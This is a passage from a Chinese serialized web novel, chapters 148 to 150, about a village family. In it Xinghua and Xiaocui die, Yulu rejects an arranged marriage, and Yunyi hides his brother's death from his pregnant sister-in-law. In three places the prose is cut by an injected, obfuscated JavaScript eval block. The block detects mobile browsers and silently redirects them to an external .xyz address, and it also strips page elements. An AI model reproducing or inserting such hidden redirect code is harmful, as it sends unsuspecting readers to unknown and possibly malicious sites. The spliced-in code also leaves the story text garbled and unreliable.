李文孝闻言,眉头微皱,追问道:“心病?婶子,您有什么心事吗?还是有什么想不开的地方?您跟我说说,说不定我能帮上忙呢。” 杏花又是一声叹息,她摇了摇头,但泪水却像断了线的珠子一样,不停地从眼角滑落。 第148章 豆宝的娘没了 李文孝一脸焦急地看着杏花,关切地问道:“婶子,您难道连我都信不过吗?” 杏花连忙摆了摆手,解释道:“文孝啊,不是婶子信不过你,实在是有些事情让婶子放心不下,不得不担心啊!” 李文孝见状,赶忙安慰道:“婶子,您有什么难处尽管说,只要我能做到的,一定不会推辞!” 杏花犹豫了一下,还是开口说道:“文孝啊,你也知道秀兰她现在身子重了,我这身体又不太好,我就怕到时候万一秀兰突然生产了,我一个人应付不过来。所以,我想求你们帮帮忙,让小雨没事儿的时候多过来走动走动,关键时候也能帮个忙,可以吗?” 李文孝一听,顿时松了一口气,笑着说道:“嗨,我还以为是什么大事呢!婶子,您就是不说,我们也肯定会来帮忙的呀!您就放心吧,秀兰和孩子们,我们肯定会帮忙照顾的。而且,您也要赶紧把身体养好,这样才能更好地照顾孩子们呢!” 屋外,阳光明媚,微风轻拂。唐小雨站在门口,急切地拉着秀兰的手,问道:“刘大夫怎么说?” 秀兰的脸上露出一丝忧虑,她缓缓地回答道:“刘大夫说我娘是心中有郁,郁结不散,因郁生火又火气攻心……” 唐小雨眉头一皱,打断了秀兰的话:“我没问你娘,我问的是你!” 秀兰似乎有些惊讶,她愣了一下,然后轻声说道:“哦,我挺好的,刘大夫说我这一胎像是个丫头!” 唐小雨的眼睛顿时亮了起来,她兴奋地说道:“哎呀,你们家都三个小子了,是该有个丫头了!” 秀兰微笑着点点头,眼中闪过一丝欣慰:“是啊,云亭走之前,还说希望是个丫头来着!” 唐小雨笑着说:“那他岂不是称心如意了,他还不早些回来,等他回来了,我可要替你好好说他一顿!” 大家正在闲聊的时候,突然间,外面传来了一阵撕心裂肺的哭嚎声。这突如其来的声音,把每个人都吓了一大跳! 传家听到这声音后,他毫不犹豫地站起身来飞奔了出去。不一会儿,传家又急匆匆地跑了回来,额头上还挂着几滴汗珠。 秀兰见状,急忙问道:“传家,外面到底发生什么事了?怎么会突然哭成这样?” 传家挠了挠头,有些迟疑地回答道:“好像……好像是李豆宝的娘没了!” “什么?”唐小雨惊讶地叫出声来,她瞪大了眼睛,满脸难以置信的表情,“那个女人?她什么时候回来的?” 秀兰皱起眉头,思索片刻后说道:“好像有些日子了吧!我听说她一直住在那边的小房子里,也不怎么出门,而且豆宝好像也不让她进家门。” 唐小雨愤愤不平地说道:“哼,要是我,我也绝对不会让她进门的!哪有这样当娘的,孩子那么小就狠心丢在一旁不管不顾,真是太过分了!” 那个小翠就这么突然地离世了,没有任何征兆。李大虎无法接受这个事实,他像一个孩子一样放声大哭,哭声凄惨而又悲痛。 李豆宝站在一旁,他的嘴角挂着一丝哭着的微笑,那是一种极度悲伤却又无法释放的表情。他的眼睛里含着热泪,那泪水在眼眶里打转,仿佛随时都会滚落下来,但他却拼命地忍着,不让它们掉下来。 李大虎一边哭泣,一边对李豆宝说道:“豆宝,最后看一眼你娘吧,你娘昨晚上还说好想抱一抱你……”他的声音哽咽着,带着无尽的哀伤。 李豆宝微微转过头,瞥了一眼躺在那里的小翠,他的眼神冷漠而又空洞,似乎对这一切都已经麻木。 然后,他淡淡地说道:“人都没了,还提那些做什么!”他的话语中透露出一种深深的绝望和无奈。 他抬腿朝外走去……无视了背后的一切,其实他内心深处,何曾不想拥有一个疼爱自己的娘。每每看到别人的娘都亲切的叫喊,拥抱着自己的孩子,他的心中都充满了羡慕之情。 他从小都不明白,为什么自己没有娘,后面渐渐的接受了自己没有娘的事实,突然又冒出来一个女人说是自己的娘!她没有死,她还好好的活着,活得那么潇洒那么开心,偏偏就无视了自己的存在!他恨她,恨她不要他又为什么要生下来他…… 李豆宝的泪水像决堤的洪水一般,无声地滑落。那一颗颗晶莹的泪珠,仿佛承载着他所有的痛苦和无奈。然而,就在这一刻,他突然感到一种释然,一种长久以来被压抑的情感得到释放的轻松。 他脚步踉跄,漫无目的地走着,心中的思绪如潮水般翻涌。就在这时,他不经意间抬起头,视线恰好与王玉露交汇。 王玉露显然也注意到了他,两人的目光在空中交汇,瞬间凝固。然而,仅仅是一瞬间,王玉露便像是触电般猛地转过身去,似乎想要立刻逃离这个让她尴尬的场景。 李豆宝见状,心中一紧,他快步上前,毫不犹豫地张开双臂,紧紧地抱住了王玉露。 “玉露,我想你!”他的声音略微颤抖,带着一丝难以掩饰的激动。 然而,王玉露却并没有像他期望的那样回应他的拥抱,而是面无表情地用力推开了他。 “你放手!”她的声音冷冰冰的,没有丝毫的感情波动,“你不是说过不愿意再见到我了吗?” 李豆宝被她的冷漠刺痛了,他连忙解释道:“我都听说了,你退婚了,玉露,我还是喜欢你的!” 王玉露面无表情地看着李豆宝,冷漠地说道:“可我,不喜欢你了!” 李豆宝瞪大了眼睛,满脸不可置信,他大声吼道:“你胡说,你明明还喜欢我,你还跟我……” 然而,他的话还没说完,就被王玉露狠狠地扇了一个巴掌。这一巴掌让李豆宝的脸上立刻浮现出一个红红的掌印。 “你别胡说八道!”王玉露的声音冰冷而决绝。 李豆宝被这一巴掌打得有些发懵,但他很快回过神来,紧紧抓住王玉露的手腕,不肯松手,嘴里还叫嚷着:“我胡说?好啊,我倒要别人都看看,你王玉露是跟我睡过一觉的女人……” 两人正拉扯着,突然,一个身影冲了过来,又是“啪”的一声,李豆宝的另一边脸上也挨了一巴掌。 李豆宝惊愕地看着眼前的人,原来是王玉露的母亲秋容。秋容怒不可遏地骂道:“你放开我女儿,大白天的耍什么流氓,亏我还觉得你是个好孩子!原来还想把玉露真的嫁给你!” 李豆宝被这两巴掌打得脸上火辣辣地疼,但他仍然嘴硬地说道:“哼,还想嫁给我,我才不会娶她这么水性杨花的女人!” 秋容一脸怒容地瞪着李豆宝,厉声道:“既然你不愿意娶她,又何必在这里拉拉扯扯!” 李豆宝连忙摆手解释道:“这跟我可没关系,明明是她总是主动来找我的,我根本就不想见到她!” 秋容的目光如刀般落在自己的女儿王玉露身上,她的声音因为愤怒而有些颤抖:“娘,不是这样的……” 然而,秋容根本不给女儿解释的机会,她扬起手,狠狠地给了王玉露一巴掌,打得王玉露一个踉跄。 “回去!以后不准你再出来见他!”秋容的怒吼在空气中回荡。 王玉露捂着脸,泪水像决堤的洪水一般涌出。她咬着嘴唇,默默转身,飞快的跑开了。 秋容看着女儿远去的背影,心中一阵刺痛。她深吸一口气,努力平复着自己的情绪,然后转身回到家中。 一进家门,秋容便倒了一杯热水。她端着热水,脚步沉重地走向王玉露的房间。 轻轻推开房门,秋容看到王玉露正蜷缩在床上,默默的抽泣着。她缓缓走到床边,将水杯放在桌子上,柔声说道:“喝杯热水吧。” 然而,王玉露却像没有听到一样,依旧静静地躺在床上,毫无反应。 秋容叹了口气,在床边坐下,语重心长地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482683|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“玉露啊,那孩子都说了不会娶你,你又何必这样执着呢?” 王玉露满脸的委屈,眼泪在眼眶里打转,抽泣的说道:“我真的没有去见他,不过就是凑巧碰到了而已!娘,你也从来没有告诉我,为什么突然间给我订了婚,又突然间要退婚……你当我是什么物件吗?我是个人……” 秋容满脸的愧疚和自责,她低下头望着玉露,一脸歉意的说道:“对不起,下次我不会再自作主张了!” 王玉露满脸决绝,语气坚定地说道:“我不嫁了,我以后都不嫁了!” 秋容闻言,惊愕不已,她瞪大了眼睛,难以置信地看着王玉露,连忙说道:“你说什么胡话呢!难不成你想要跟那个一身病的春芳一样,做一辈子老姑娘吗?” 王玉露毫不在意地反驳道:“老姑娘就老姑娘,那又怎么样!” 秋容见状,心中愈发焦急,她苦口婆心地劝道:“哎,有父母在倒是没什么,可一旦父母不在了,一个人孤苦伶仃的,哪里会有人待见一个老姑娘啊……” 王玉露却不以为然,她冷笑一声,反问道:“那成了婚,就会有人对我好了吗?” 秋容顿时语塞,她不禁想起了那些婚后生活并不如意的女子,心中一阵唏嘘。是啊,成婚又何尝不是一种豪赌呢?若是所遇非人,那岂不是跳入了火坑? 秋容的眉头紧紧皱起,脸上露出了一丝愁容。她沉默了片刻,似乎在思考着什么,最终还是深深地叹了口气,不再言语。 王玉露凝视着母亲,只见她的面容显得有些憔悴和忧虑。母亲的眉头微微皱起,似乎有许多心事难以言说。王玉露心中不禁涌起一股担忧,她轻声问道:“娘,我不知道你们之间到底发生过什么事情。您不想说我也不会逼问你,可是自那日之后,玉龙和他娘也走了,前几日还给我寄了一封信来,说他以后会把我当作亲妹妹看待,还说他母亲现在开了一家女子学堂,专门教女子写字画画的,我好想去看看!娘,我们能不能也离开这里,去外面的世界看一看!” 秋容此时心中十分纠结,她犹豫着说道:“去外面?可是外面的世界……”她的声音渐渐低沉,似乎对外面的世界充满了担忧和恐惧。 玉露见状,连忙安慰道:“娘,我想明白了,我不想就这样稀里糊涂地成婚,然后又稀里糊涂地过完一辈子。我不想像村里其他女人一样,一辈子都被困在这个小村子里,没有一点自由和选择的权利。” 她紧紧地握着秋容的手,继续说道:“娘,难道您就没有一点自己的喜好吗?您就不想去看看外面的世界,体验一下不一样的生活吗?” 秋容叹了口气,无奈地回答道:“喜好?穷人家哪里有什么喜好,不过就是为了填饱肚子,养家糊口罢了。我们每天都在为了生存而奔波,哪有时间去想那些虚无缥缈的东西呢?” 玉露听了母亲的话,心中一阵酸楚。她知道母亲一生都在为这个家操劳,从来没有为自己考虑过。 于是,她坚定地对着母亲说道:“娘,我知道您辛苦,但是我真的不想再过这样的日子了。与其在这村里天天受别人的欺负,我们为什么不离开这里呢?外面的世界虽然未知,但是我们都没有去过,又怎么知道外面到底好不好呢?!” 然而,秋容却摇了摇头,语气沉重地说:“孩子,哪儿有你想的那么容易啊。我们如果在外面身无分文,又能去哪里呢?外面的世界虽然大,但对于我们这样的穷人来说,在哪里其实都是一样的。” 王玉露一脸不满地反驳道:“怎么会是一样的呢!娘你就是会找借口而已!”她的声音中透露出些许愤怒和失望。 秋容看着女儿激动的样子,无奈地叹了口气,轻声说道:“好了,我不逼你成亲就是了!一切随缘吧!”她的语气显得有些无奈,似乎对女儿的固执感到有些无力。 母子两个望着窗外,各有各的心事…… 第149章 杏花离世 小翠虽然离世了,李大虎却依然每天生活在那个小房子里面,好像那样能让李大虎感觉到小翠还依然在他的身边,甚至被褥上都还存留着小翠的味道! 任凭王小凤怎样苦口婆心地劝解,李大虎都像吃了秤砣铁了心一般,坚决不肯离开那间屋子。他甚至放出狠话来,说自己要一直住在那间屋子里,到死为止! 王小凤见状,无奈地叹了一口气,对着一旁的李豆宝抱怨道:“豆宝啊,你看看你爹,这可如何是好啊?哎……他怎么就这么倔呢,一点都听不进去好赖话啊!” 李豆宝听了奶奶的话,也是一脸的无奈和愤恨。他愤愤不平地嘟囔着:“真是没用,他居然为了一个女人变成这样!”言语之中,充满了对父亲的失望和不满。 与此同时,李安硕望着自家那片玉米地里发着呆,往日的种种历历在目,好似还是昨日才发生的事情,怎么突然间这人年轻轻的就没了…… 李万原慢悠悠地走过来,脸上挂着一丝戏谑的笑容,他看着李安硕,调侃道:“嘿,你在看啥呢?这么入神,该不会是在想那个女人吧?我跟你说啊,你可得小心点,那娘们儿说不定做了鬼,半夜会来找你哦!” 李安硕听到这话,眉头一皱,他瞪了李万原一眼,没好气地说道:“你别瞎扯犊子行不行?哪有什么鬼啊!”说着,他抬起脚,朝着李万原的屁股踹了过去。 李万原眼疾手快,灵活地一闪身,轻易地躲开了这一脚。他嘿嘿一笑,继续说道:“我可没瞎扯啊,你看看还那么年轻,说没就没了,以后你可要好好对我表妹啊……” 李安硕对李万原的话不以为然,他白了李万原一眼,摇了摇头,懒得再跟他纠缠。然后,他转身朝着家里的方向走去,留下李万原在原地看着他的背影,露出一副若有所思的表情。 时间过得很快,转眼之间,又过去了两个月。秀兰的肚子越来越大,行动也变得越来越不方便。她每天都在家里盼望着,希望云亭能够早些回来。 在过去的这两个月里,杏花的身体状况每况愈下,令人忧心不已。这几天来,她几乎整天都躺在床上,不仅食欲全无,甚至连说话的力气都快没有了。 秀兰目睹这一切,心中焦急万分,但却束手无策。唐小雨实在看不下去了,她觉得不能再这样坐视不管,于是建议文孝想办法给云亭和云义兄弟俩捎个口信,看看他们能否回来照顾杏花。 文孝思考片刻后,觉得唐小雨的提议不无道理。经过一番打听,他得知姚光宇的弟弟姚光华这两天正好要去新县投奔他大哥。 于是,李文孝赶忙找到了姚光华,向他说明了情况,并亲手写了一封信,请他帮忙转交给李云亭兄弟俩。信中详细描述了杏花目前的身体状况以及他们对兄弟俩的牵挂和期望。 隔天,姚光华收拾好行囊,踏上了前往新县的路途。一到新县,他顾不上休息,立刻从包袱里掏出那封信,郑重地递给了姚光宇,并告诉他这是从李家沟托人带过来的,说是一定要转交给李云亭两兄弟。 姚光宇一听,心中一紧,他明白这封信一定不是什么简单的小事,连忙将信递到云义手中。 云义接过信,小心翼翼地打开,他的脸色随着阅读信件的内容而逐渐变得凝重起来。 果然,正如他所担心的那样,母亲知道了实情以后确实身体上承受不住。他知道,母亲一直是个坚强的人,但这次的事情对她来说可能是个沉重的打击。 姚光宇看着云义紧皱的眉头,关切地问道:“兄弟,家里是不是出了什么事?看你这愁眉不展的样子。” 云义深吸一口气,缓缓说道:“光宇大哥,我得回家一趟。我娘她……病重了!”他的声音有些哽咽,显然内心十分焦急。 姚光宇听后,也不禁叹了口气,安慰道:“那确实是应该回去看看的,毕竟家人的健康才是最重要的。” 云义点点头,脸上露出一丝无奈和担忧:“我怕……这次真的瞒不住了啊……”他知道,嫂子一旦知道了事情的真相,后果可能不堪设想。 姚光宇拍了拍云义的肩膀,鼓励道:“兄弟啊,难为你了。能瞒多久是多久吧,毕竟这也不是我们想看到的。但无论如何,你都要坚强面对,相信一切都会好起来的。” 云义感激地看了姚光宇一眼,然后迅速收拾好行囊,急匆匆地踏上了回家的路。 等他到家的时候,杏花整个人的状态已经是浑浑噩噩,仿佛失去了灵魂一般。她的双眼空洞无神,脸色苍白如纸,嘴唇也没有一丝血色,看上去十分虚弱。 文孝见到只有云义一个人回来,心中顿时升起一股不满和恼怒。他大步走到云义面前,一把抓住他的衣领,将他硬生生地拽出门去。 “云义,你娘都病成这样了,你大哥他为什么还不回来?”文孝的声音中带着明显的怒意,他瞪大了眼睛,死死地盯着云义,似乎想要从他的脸上找到答案。 然而,面对文孝的质问,云义却只是默默地流着眼泪,哽咽的说道:“文孝大哥,你不要问了好不好?”说着,他的泪水不停地从眼眶中涌出,顺着脸颊滑落。 文孝见状,心中的怒火更盛,他摇晃着云义的身体,大声吼道:“为什么我不能问?到底是有什么事情比自己家人还重要?你说啊!” 云义被文孝摇晃着,但他依然没有回答,只是蹲了下去,双手抱住自己的头,将脸深深地埋在膝盖之间,继续暗暗地哭泣着。 文孝看到云义这副模样,心中的怒火渐渐平息下来。他意识到自己可能有些过于冲动了,于是他深吸一口气,努力让自己平静下来。 然后,他轻轻地拍了拍云义的肩膀,安慰道:“好了,有什么事情你告诉我一声不就好了,堂堂男子汉大丈夫,在这儿哭哭啼啼的,像什么样子,你也不怕别人笑话你!” 云义此时却哭的更伤心了…… 文孝连忙摆了摆手,语气略带歉意地说道:“好了好了,都怪我太冲动了,也许你们兄弟俩在外头确实有一些难处。”他稍稍停顿了一下,接着问道:“不过,你还是得跟我讲清楚,云亭他为什么不亲自回来呢?” 云义缓缓抬起头,目光与文孝交汇,他的眼中似乎有泪光在闪烁。沉默片刻后,他终于开口,声音略微有些颤抖:“他回不来了!” 文孝闻言,脸色骤变,他瞪大了眼睛,满脸狐疑地追问道:“回不来?你这话到底是什么意思?” 云义深吸一口气,稳定了一下情绪,然后压低声音解释道:“文孝大哥,这件事情现在还不能让我大嫂知道。本来我娘也并不知晓,可不知道她从哪里听说了我大哥的事情,这才突然病倒了!” 文孝的眉头紧紧皱起,说道:“你跟我来!”说着他拽着云义回到了自己家中,家中没有其他人方便说话,文孝才缓缓开口:“你说明白些,云亭到底发生了什么事情?” 听了云义的一番哭诉,李文孝恍然大悟,他难以置信地摇着头,喃喃自语道:“你是说……云亭他……怎么会这样呢?他明明还那么年轻啊……云义,你可千万别骗我啊!” 云义满脸愁容地摇了摇头,叹息着说道:“这样的事情,我骗你做什么呢?我每天都心如刀绞般痛苦,真的不知道该如何去面对我嫂子啊……我总是对她说大哥有事回不来,但其实我心里很清楚,这个谎言总有被识破的那一天……” 文孝听了云义的话,不禁皱起眉头,责备道:“兄弟啊,你怎么不早些告诉我呢!你这样一个人扛着,心里得多难受啊!哎……” 文孝看着云义,轻轻地叹了口气,然后动手帮他整理了一下衣服,轻声说道:“好啦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488396|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别伤心了,我们一起去看看你娘吧。别让你大嫂看出什么异样来。”说完,他拍了拍云义的肩膀,两人便一同朝着家的方向走去。 一路上,他们都沉默不语,各自沉浸在自己的思绪中。文孝的眉头微皱,似乎有什么心事重重;而云义则低着头,脚步显得有些沉重,脸上还挂着未干的泪痕。 当他们走到家门口时,门突然被打开了,唐小雨从屋里走了出来。她一见到文孝和云义,便立刻发问:“你们俩刚才去哪儿了?怎么这么久才回来?怎么又是你一个人回来?你大哥他人呢?” 文孝的脸色微微一变,他有些不耐烦地回答道:“提这些干什么?以后在秀兰面前,不准再提这些让她不高兴的事情!” 唐小雨显然对文孝的态度感到不满,她提高了音量说道:“你怎么这样说话啊?我就是问了一句而已,问都不能问了吗?我还不是关心秀兰,怕她出什么事。不对啊,你们俩是不是有什么事情瞒着我们啊?” 李文孝一脸不耐烦地挥挥手,他皱起眉头说道:“好了好了,你别再问那么多了!这段时间,你就多过来帮忙照顾一下就行了!”他的语气有些生硬,透露出一种不容置疑的态度。 唐小雨心里憋着一肚子的疑问,见文孝脸色严肃,上一次文孝这么严肃的时候,还是公公刚去世的那几年,她没有敢再多说什么,但是她心里清楚,一定是发生了什么大事! 李云义的突然回来,让秀兰又喜又忧,喜的是,婆婆病重,家里没个男人在家,假如真的有什么万一,自己都不好跟云亭交代!忧的是,婆婆都病成这样了,怎么还是只有云义一个人回来,难道说他真的就一点都不想回这个家了吗? 云义冲向了母亲的房间,一眼就看到了躺在床上虚弱的母亲,云义流着眼泪,跪在床边,拉起母亲的手:“娘,我回来了!你睁眼看看我啊娘!” 杏花缓缓睁开眼睛,轻轻地抚摸着云义的手,心中充满了愧疚和无奈,轻声说道:“孩子啊,娘又让你操心了!” 然而,就在下一秒,杏花仿佛看到了云亭站在自己的面前,他的身影是那么的清晰,就像他从未离开过一样。杏花不禁激动地喊出了他的名字:“云亭,娘对不起你啊,娘恐怕没办法帮你照顾孩子们了!” 杏花的声音在房间里回荡着,带着无尽的哀伤和自责。屋内的人都默默地擦着眼泪,他们以为杏花只是因为太过想念云亭,所以才会看错人。 大家都沉浸在悲伤之中,没有人注意到杏花的手突然无力地垂了下来,仿佛失去了所有的生机。杏花的呼吸也变得越来越微弱,最终,一切都归于平静…… 云义见状,顿时痛哭流涕,他无法接受这个残酷的事实。秀兰也在一旁默默地抹着眼泪,她的心中同样充满了悲痛和疑惑。 然而,现在的情况让一切都变得更加难以解释。杏花走了,云亭却依然没有回来。秀兰的心中开始涌起一种不祥的预感,她觉得这其中一定有什么不对劲的地方…… 待杏花下葬完毕,云义这才如梦初醒般地想起身上还揣着钱,于是赶忙从怀中掏出,小心翼翼地递给秀兰,嘴里说道:“嫂子,实在不好意思,这几天晕头转向的,把这事儿给忘了。这是我大哥托我带回来的,您收好。” 秀兰缓缓抬起头,凝视着云义手中的钱,眼神中透露出一丝狐疑。她犹豫了一下,最终还是开口问道:“这真的是你大哥让你带回来的吗?” 云义的身体微微一僵,他的喉咙有些发干,但还是强作镇定地回答道:“是!当然是我大哥托我带回来的!” 秀兰的眉头紧紧皱起,她的声音略微带着些颤抖:“那娘都走了,他为什么都不回来?有什么事情比见娘最后一面还要紧吗?”说到最后,她的眼眶渐渐湿润,泪水像决堤的洪水一般涌出。 第150章 听错了! 云义见状,心中一阵慌乱,他连忙解释道:“嫂子,这不怪我大哥!都是我的错!是我,是我以为咱娘平时身体那么好,我以为不会突然就这么严重的!是我告诉大哥,娘只是小问题,让他先不要回来,我回来看一眼就行了的!这都怪我!” 秀兰满脸狐疑地看着云义,似乎想要从他的脸上找到一丝说谎的痕迹。她的声音略微颤抖着,问道:“你说的都是真的?” 云义连忙点头,他的目光充满了关切,看着秀兰说道:“嫂子,你现在最重要的是要照顾好自己和肚子里的孩子,您可不能太伤心啊!” 秀兰听了云义的话,心中的疑虑并没有完全消除。她皱起眉头,喃喃自语道:“难道真的是我想多了吗?”说完,她缓缓转过身去,脚步有些沉重地走进了屋里。 云义望着秀兰那落寞的身影,心中一阵刺痛。他知道,秀兰刚刚经历了母亲的去世,如今又对他的话产生了怀疑,这让他的心情愈发沉重。云义暗自下定决心,绝对不能让嫂子再受到任何伤害,哪怕到时候嫂子会恨自己,他也只能暂时先瞒着她了。 夜晚来临,秀兰躺在床上,却怎么也无法入眠。她的脑海中不断闪过云义的话,心中的不安越来越强烈。肚子里的孩子似乎也感受到了母亲的情绪,不停地在肚子里踢动,让秀兰的身体越发难受。 这一夜,秀兰翻来覆去,始终无法找到一个舒适的睡姿。孩子的躁动让她的心情愈发烦躁,而心中的疑问更是像一只恶魔一样缠绕着她,让她无法摆脱。好不容易熬到天快亮了,秀兰才在极度的疲惫中沉沉睡去。 第二天早上,云义和孩子们都起来了,唯独秀兰还没有起床,云义让孩子们小声些,不要吵醒了秀兰,然后给孩子们准备了早餐,孩子们吃完早餐也都出门读书去了! 一直到了太阳升的老高,秀兰还是没有起床,云义有些心急了,他站在门口喊了几声嫂子,没人应声! 云义着急了,嫂子从来没有睡过这么晚都没起床的,他越想越担心,生怕嫂子会想不开,迫不及待的想要进去看看嫂子到底是怎么回事! 云义走到门口,轻轻地抬起手,又在门上敲了几下,然后轻声喊道:“嫂子,你醒了吗?”他等了一会儿,屋内还是没有任何回应。云义稍稍提高了音量,再次喊道:“嫂子,你要是再不回应我,我可就要进来了!” 然而,房间里依旧静悄悄的,没有一点声音。云义犹豫了一下,最终还是决定推开门走进去看看。 门缓缓地被推开,云义小心翼翼地走进房间。他的目光落在了床上,只见秀兰侧身躺着,紧闭着双眼,似乎睡得很沉。 云义慢慢地走到床边,弯下腰,伸出手轻轻地摸了摸秀兰的额头。他感受着秀兰额头的温度,发现一切都很正常,并没有发烧或者其他异常的情况。云义心中暗暗松了一口气。 他直起身子,然后轻轻地摇晃着秀兰的肩膀,温柔地说道:“嫂子,醒一醒!” 秀兰的身体微微动了一下,但并没有睁开眼睛。云义见状,稍微加大了一点力度,继续摇晃着秀兰,并轻声呼唤道:“嫂子,快醒醒呀!” 过了一会儿,秀兰终于缓缓地睁开了眼睛。她的眼神有些迷茫,仿佛还没有完全从睡梦中清醒过来。 秀兰定了定神,看着眼前的云义,突然说道:“天啊,我刚才做了一个好可怕的梦!我梦到你大哥掉进水里了,我急得要命,拼命地大喊,可就是怎么也喊不出声音来!我心里那个急啊,感觉都快喘不过气来了!还好你把我叫醒了,天啊!真是太可怕了!” 云义愣在了原地,他没想到嫂子做梦居然都能梦到这些,这让他有些不知所措,不知该怎么接话! 秀兰看着窗外高悬的太阳,不满地嘟囔道:“这太阳都升得这么高了,我怎么睡了这么久?你怎么现在才来叫我啊?还有孩子们呢?他们上学可别迟到了!”说着就要起身去看孩子们! 云义站在床边,有些不好意思地挠了挠头,解释道:“他们一早就去学堂了,我本来是想让你多睡一会儿的,没想到这么久了你还没睡醒,我担心你会不会出什么事情,所以就进来看看。” 秀兰听了,不禁笑出声来,嗔怪道:“你呀,真是个傻瓜!我能有什么意外呢?我这不还好好的嘛!不过,我倒是有点好奇,你大哥他现在在干什么呢?娘突然没了,他要是知道了的话还多伤心啊!”说着还深深的叹了一口气! 云义的脸色微微一变,心中暗自叹息:大哥啊大哥,你可真是把我们一家人都害苦了啊…… 秀兰注意到云义的表情有些凝重,连忙关切地问道:“你怎么了?怎么每次一提到你大哥,你就好像不太高兴的样子呢?你们俩是不是吵架了呀?” 云义摇了摇头,又点了点头,终究不知该怎么回答,最终只说了一句:“大嫂,你起来吃点东西吧,我还有事儿……”说完,他头也不回的就跑了出去!留下一脸疑惑的秀兰…… 如今杏花不在了,秀兰又临近生产,云义不好再出远门,他整日忙着田里的庄稼地,还要帮忙大嫂照顾着家里的几个孩子! 这天,村里李万原家有了大喜事,他的小媳妇儿董春风生了,生的不仅是个儿子,还是一对双胞胎儿子! 这让盼望了十几年的想要儿子的李万原简直像是中了大奖一般的兴奋! 李万原面露灿烂的笑容,兴高采烈地挨家挨户地派送喜糖,他的喜悦之情溢于言表,仿佛要让整个村子的人都感受到这份幸福。每到一家,他都会热情地与邻居们打招呼,然后将喜糖递到他们手中,同时开心地分享着自己的喜悦。 人们听说是双胞胎,都纷纷上门去探望,人们看到那两个可爱的孩子,都不禁赞叹不已。两个孩子长得白白净净,五官精致,个头一点儿都不小,人们都说孩子随了他们的母亲,一点也没有李万原的影子。大家纷纷夸赞李万原有福气,一胎竟然就得了两个大胖小子,这可是多少人梦寐以求的事情啊! 李万原听着众人的夸奖,心里像吃了蜜一样甜,他开心得合不拢嘴,一个劲儿地傻笑。对他来说,有了儿子,现在做什么都充满了动力和希望。他感慨地说:“春风真是我李家的大功臣啊,要不是春风,我这辈子恐怕都不能有个儿子!” 董春风躺在床上,看着眼前的两个孩子,心中同样充满了欢喜。她温柔地抚摸着孩子们的小脸,眼中流露出了浓烈的母爱。 与此同时,云义正静静地跪在杏花的坟前,默默地为母亲烧着纸钱。他的神情有些凝重,似乎在回忆着与母亲在一起的点点滴滴。文孝远远地看到这一幕,心中一阵酸楚,他快步走了过来,静静地陪在云义身边,一起为杏花烧纸。 文孝轻声对云义说:“等你大嫂生完孩子,还是要抽时间告诉你大嫂,把你大哥的尸骨带回来好好安葬才行啊!”这句话虽然简单,却蕴含着无尽的哀伤和无奈。 云义微微颔首,表示明白他说的意思,轻声说道:“是啊,每次我都差点儿忍不住想要说出来,却又难以张口。” 正当两人交谈之际,不远处传来一阵急促的脚步声。李佳华面色焦急,脚步匆匆,正巧听到了他们的讲话。 李佳华快步走到李文孝面前,气喘吁吁地说道:“爹,我娘脚腕儿扭伤了,让我赶紧来找你回家去!” 李文孝闻言,脸色一变,急忙问道:“你娘脚腕儿怎么会扭伤的?” 李佳华稍稍平复了一下呼吸,解释道:“就是刚才抱着小弟的时候,不小心摔了一跤,小弟的额头都磕出血了!” 李文孝心中一紧,连忙说道:“云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492570|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义,真是不好意思,我得先回去看看情况。” 云义连忙摆手,关切地说:“没关系,你快去吧,家里人要紧。” 李文孝向云义道了别,便带着李佳华匆匆离去,留下云义在原地若有所思。 李文孝带着佳华一路匆匆回了家,家里,佳民正坐在地上哇哇大哭,那哭声震耳欲聋,仿佛整个房间都要被他的哭声给掀翻了。而在他的额头上,果然磕出了红红的一片,还有一小条划痕正慢慢地向外渗着血,十分显眼! 唐小雨站在一旁,一只脚腕儿肿得老高。她疼得直咧嘴,却还强忍着疼痛,让女儿佳红赶紧去拿药膏来,给佳民的额头涂上。 就在这时,文孝快步走了过来,他的脸上写满了焦急和担忧。他抱起坐在地上哭泣的佳民,心疼地问道:“这到底是怎么回事啊?怎么会摔成这样呢?” 唐小雨一脸无奈地回答道:“我哪儿知道啊!突然就摔了一跤,我都还没反应过来呢!这下可好了,估计这一个月都不能去哪里了。”她一边说着,一边皱起了眉头,显然对自己的伤势也感到十分担忧。 文孝听了唐小雨的话,不禁叹了一口气,说道:“哎,关键时候你又这样了,这下云亭媳妇儿要是生了的话,你都没法去帮忙了!” 唐小雨一听,顿时有些不高兴了,她瞪了文孝一眼,说道:“你最近怎么这么关注秀兰啊?” 